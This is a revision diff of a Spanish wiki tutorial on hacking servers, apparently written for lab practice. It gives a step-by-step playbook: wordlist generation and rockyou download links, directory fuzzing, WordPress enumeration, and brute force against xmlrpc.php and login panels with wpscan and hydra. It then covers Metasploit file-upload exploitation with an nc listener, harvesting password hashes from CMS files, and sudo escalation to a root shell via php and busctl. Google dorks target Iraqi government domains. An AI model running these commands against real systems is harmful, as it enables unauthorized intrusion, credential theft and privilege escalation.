Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anterior Revisión previa Próxima revisión | Revisión previa | ||
tutorial:hacking-servidores [2025/05/28 03:32] truper [Fuerza Bruta y Exploits] |
tutorial:hacking-servidores [2025/06/24 04:14] (actual) anonimo [Google Dorks] |
||
---|---|---|---|
Línea 89: | Línea 89: | ||
* **Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida** | * **Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida** | ||
* %%princeprocessor palabras_relevantes.txt > diccionario.txt%% | * %%princeprocessor palabras_relevantes.txt > diccionario.txt%% | ||
+ | * **Si el diccionario es más específico y no se van a permutar palabras se puede usar crunch (ejemplo)** | ||
+ | * <code bash>crunch 14 14 ABCD123 -t pepe@@%%casa@@ > diccionario.txt | ||
+ | Crunch will now generate the following amount of data: 3601500 bytes | ||
+ | 3 MB | ||
+ | 0 GB | ||
+ | 0 TB | ||
+ | 0 PB | ||
+ | Crunch will now generate the following number of lines: 240100 | ||
+ | </code> | ||
+ | |||
+ | **Descargar, conocer rockyou, un diccionario para poder hacer fuerza bruta con contraseñas al panel de login, ssh, etc** | ||
+ | * %%https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt%% 133MB | ||
+ | * {{ :tutorial:rockyou2021.torrent.gz |}} 90GB descomprimido | ||
===== Hacer fuzzing ===== | ===== Hacer fuzzing ===== | ||
Línea 100: | Línea 113: | ||
* Encontrar **versión** de **CMS** en el **código** fuente **html** de la página principal | * Encontrar **versión** de **CMS** en el **código** fuente **html** de la página principal | ||
* Buscar si hay **exploits para** esa versión de **CMS** | * Buscar si hay **exploits para** esa versión de **CMS** | ||
+ | |||
+ | ===== Archivos de interés en wordpress ===== | ||
+ | |||
+ | |wp-admin|Redirecciona a wp-login.php, Panel de login| | ||
+ | |wp-login.php|Panel de login| | ||
+ | |xmlrpc.php|Usado para hacer fuerza bruta con wpscan, más rápido que al panel de login con hydra| | ||
+ | |wp-config.php|Contiene nombres de usuario y contraseñas de bases de datos| | ||
===== Buscar vulnerabilidades ===== | ===== Buscar vulnerabilidades ===== | ||
Línea 110: | Línea 130: | ||
* searchsploit wordpress | grep -E '7\.2.*' | * searchsploit wordpress | grep -E '7\.2.*' | ||
+ | ===== Estenografía ===== | ||
+ | |||
+ | **Muchas veces hay fotografías que contienen información oculta** | ||
+ | |||
+ | <code bash> | ||
+ | steghide info foto.jpg | ||
+ | "foto.jpg": | ||
+ | formato: jpeg | ||
+ | capacidad: 5,6 KB | ||
+ | �Intenta informarse sobre los datos adjuntos? (s/n) s | ||
+ | Anotar salvoconducto: | ||
+ | </code> | ||
+ | **Se puede intentar hacer fuerza bruta** | ||
+ | <code bash> | ||
+ | stegseek foto.jpg ../Descargas/rockyou.txt | ||
+ | StegSeek 0.6 - https://github.com/RickdeJager/StegSeek | ||
+ | |||
+ | [i] Progress: 99.75% (133.1 MB) | ||
+ | [!] error: Could not find a valid passphrase. | ||
+ | </code> | ||
+ | |||
+ | ===== Leer lo ilegible, ejemplos ===== | ||
+ | <code bash> | ||
+ | echo hola | xxd -p | ||
+ | 686f6c610a | ||
+ | echo 686f6c610a | xxd -r -p | ||
+ | hola | ||
+ | </code> | ||
+ | **desofuscar javascript con [[http://jsnice.org/|jsnice]]**\\ | ||
+ | |<code>var _0x55ae=["\x48\x65\x6C\x6C\x6F | ||
+ | \x20\x57\x6F\x72\x6C\x64\x21", | ||
+ | "\x0A","\x4F\x4B"];var a=_0x55ae[0]; | ||
+ | function MsgBox(_0x9e43x3){ | ||
+ | alert(_0x9e43x3+_0x55ae[1]+a);} ; | ||
+ | MsgBox(_0x55ae[2]);</code>|<code>/** @type {Array} */ | ||
+ | var _0x55ae = ["Hello World!", "\n", "OK"]; | ||
+ | var a = _0x55ae[0]; | ||
+ | /** | ||
+ | * @param {?} alertCallback | ||
+ | * @return {undefined} | ||
+ | */ | ||
+ | function MsgBox(alertCallback) { | ||
+ | alert(alertCallback + _0x55ae[1] + a); | ||
+ | } | ||
+ | MsgBox(_0x55ae[2]);</code>| | ||
+ | ===== Google Dorks ===== | ||
+ | gov site:.iq -> obtiene dominios y subdominios de iraq\\ | ||
+ | gov site:.iq filetype:pdf -> obtiene archivos pdf de dominios y subdominios de iraq\\ | ||
+ | gov site:.iq inurl:admin -> obtiene resultados que contengan la palabra "admin" en las urls de dominios y subdominios de iraq\\ | ||
- | ===== Fuerza Bruta y Exploits ===== | + | **Más ejemplos** [[https://afsh4ck.gitbook.io/ethical-hacking-cheatsheet/recopilacion-de-informacion/google-hacking/google-dorks|Google Dorks]] |
+ | ===== Pasos, Fuerza Bruta y Exploits ===== | ||
+ | * Si estamos en local con una mágina de pruebas agregar en **/etc/hosts** el dominio a la ip de la máquina | ||
* Ver si hay **nombre** de **usuario** en la página principal del **CMS**, y ver si en el código html pone la **versión** | * Ver si hay **nombre** de **usuario** en la página principal del **CMS**, y ver si en el código html pone la **versión** | ||
* En **wordpress** | * En **wordpress** | ||
- | * Encontrar con **ferobuster** cual es el directorio/página principal de wordpress (loquesea) | + | * **Encontrar** cual es el directorio/**página principal** de **wordpress** (loquesea) |
- | * Si estamos en local con una mágina de pruebas agregar en **/etc/hosts** el dominio a la ip de la máquina | + | * p1=seclist/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt |
- | * Enumerar **plugins, usuarios**: | + | * Con **feroxbuster**: |
+ | * %%feroxbuster -u http://192.168.0.137 -w $p1 -D%% | ||
+ | * Con **gobuster**: | ||
+ | * %%gobuster dir -u http://192.168.0.137 -w $p1%% | ||
+ | * **versión** vieja (2.0.1): | ||
+ | * %%gobuster -m dir -u http://192.168.0.137 -w $p1%% | ||
+ | * Enumerar **plugins** populares y **usuarios**: | ||
* %%wpscan --url http://pagina.es/loquesea --enumerate u,p%% | * %%wpscan --url http://pagina.es/loquesea --enumerate u,p%% | ||
+ | * __**Importante**__ -> Enumerar **todos** los plugins (__tarda__) | ||
+ | * %%wpscan --url http://pagina.es/loquesea --enumerate ap%% | ||
+ | * __**Importante**__-> **Buscar** vulnerabilidades. Si en searchspoit no hay nada **buscar** en cuadro búsqueda de **github**, ej -> %%"nombre plugin wordpress"%% | ||
* **Ataque con acceso** -> Obtenido el nombre de algún usuario se procede: | * **Ataque con acceso** -> Obtenido el nombre de algún usuario se procede: | ||
* 1º ataque de **fuerza bruta** | * 1º ataque de **fuerza bruta** | ||
* A **xmlrpc.php de wordpress** (que permite múltiples intentos de login en una sola solicitud.) | * A **xmlrpc.php de wordpress** (que permite múltiples intentos de login en una sola solicitud.) | ||
- | * %%wpscan --url http://192.168.0.137/wordpress -U maria -P rockyou.txt%% | + | * %%wpscan --url http://pagina.es/loquesea -U maria -P rockyou.txt%% |
* Al **panel de login** como en cualquier otro **CMS** (menos eficiente y más dificil de escribir) | * Al **panel de login** como en cualquier otro **CMS** (menos eficiente y más dificil de escribir) | ||
* Con **hydra** | * Con **hydra** | ||
* data="cadena del inspector de código de firefox del archivo login.php" | * data="cadena del inspector de código de firefox del archivo login.php" | ||
- | * hydra -l pepe -P rockyou.txt url http-post-form data | + | * hydra -l pepe -P rockyou.txt url http-post-form $data |
* Con un script hecho a medida como el de [[https://github.com/0xDTC/Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240/blob/master/CVE-2019-17240|Bludit]] | * Con un script hecho a medida como el de [[https://github.com/0xDTC/Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240/blob/master/CVE-2019-17240|Bludit]] | ||
* 2º Una vez descubierta la contraseña se explota una **vulnerabilidad** en la **subida** de archivos del **CMS** | * 2º Una vez descubierta la contraseña se explota una **vulnerabilidad** en la **subida** de archivos del **CMS** | ||
- | * Desde metasploit (puede ser que automáticamente cree el payload y lo suba fácil) | + | * Desde **metasploit** (puede ser que automáticamente cree el payload y lo suba, **fácil**) |
- | * Comandos | + | * Algunos comandos |
* search wordpress | * search wordpress | ||
* use 0 | * use 0 | ||
Línea 145: | Línea 225: | ||
* **nc -lvp 8080** | * **nc -lvp 8080** | ||
* una vez dentro se obtiene **shell** como usuario **www-data** y: | * una vez dentro se obtiene **shell** como usuario **www-data** y: | ||
- | * Se pueden encontrar los **hashes** de los usuarios por los archivos **php** del **CMS** **incluido el del administrador y otros datos de interés**__%%/var/www/html/loquesea%%__ ya que todos los archivos del **CMS** tienen permisos para el usuario **www-data** | + | * Se pueden encontrar los **hashes** de los usuarios por los archivos **php** del **CMS** __incluido__ el del **administrador** y otros datos de interés __%%/var/www/html/loquesea%%__ ya que todos los archivos del **CMS** tienen permisos para el usuario **www-data** |
* %%grep -irE '[a-z]+:\$' /var/www/cms/*%% (hashes) | * %%grep -irE '[a-z]+:\$' /var/www/cms/*%% (hashes) | ||
* %%grep -irE '[a-z]+@gmail' /var/www/cms/*%% (otros datos) | * %%grep -irE '[a-z]+@gmail' /var/www/cms/*%% (otros datos) | ||
- | * Obtenido el **hash** se intenta **descifrar** en **[[https://crackstation.net|crackstation]]** previamente preparado con jhon ripper | + | * Obtenido el **hash** se intenta **descifrar** en **[[https://crackstation.net|crackstation]]** previamente preparado con john |
* Se puede ver **usuarios** del sistema e información sobre ellos en **/etc/passwd** | * Se puede ver **usuarios** del sistema e información sobre ellos en **/etc/passwd** | ||
* Permisos que tienen en **/etc/group** | * Permisos que tienen en **/etc/group** | ||
* Se intenta hacer **escalada a root** | * Se intenta hacer **escalada a root** | ||
- | * Vemos los **privilegios** con -> **sudo -l** (del usuario con el que estamos), **sudo -l -U www-data** (a un usuario concreto, **si somos root**) | + | * Vemos qué comandos puede ejecutar un usuario con **privilegios de root** -> **sudo -l** (usuario con el que estamos), **sudo -l -U www-data** (a un usuario concreto, **si somos root vemos lo de los demás**) y buscamos en **[[https://gtfobins.github.io/|gtfobins]]** cómo **bypassear** la restricción si es que se puede |
* **(ALL : ALL) ALL** | * **(ALL : ALL) ALL** | ||
* **(ALL) NOPASSWD: ALL** -> El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata. | * **(ALL) NOPASSWD: ALL** -> El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata. | ||
- | * **(root) NOPASSWD: /usr/bin/busctl** -> Escalada manipulando el comando | + | * **(pepe) NOPASSWD: /usr/bin/php** -> El usuario puede ejecutar php como pepe |
- | * %%sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'%% | + | *%%sudo -u pepe php -r "system('/bin/bash');"%% -> Ejecuta shell con permisos de pepe [[https://gtfobins.github.io/gtfobins/php/]] |
- | * **%%(ALL) NOPASSWD: /ruta/script.sh%%** -> El usuario puede ejecutar cualquier comando como root que haga referencia a esa ruta y puede dar un **salto a root** así | + | * **(root) NOPASSWD: /usr/bin/busctl** -> El usuario puede ejecutar busctl como root y escalar manipulando el comando |
- | * sudo ./script.sh, donde script.sh contiene | + | * %%sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'%% [[https://gtfobins.github.io/gtfobins/busctl/]] |
- | * <code bash> #!/bin/bash | + | * **%%(ALL) NOPASSWD: /ruta/script.sh%%** -> El usuario puede ejecutar cualquier comando como root que haga referencia a esa ruta y puede dar un **salto a root** así |
+ | * sudo ./script.sh, donde script.sh contiene | ||
+ | * <code bash> #!/bin/bash | ||
bash | bash | ||
</code> | </code> |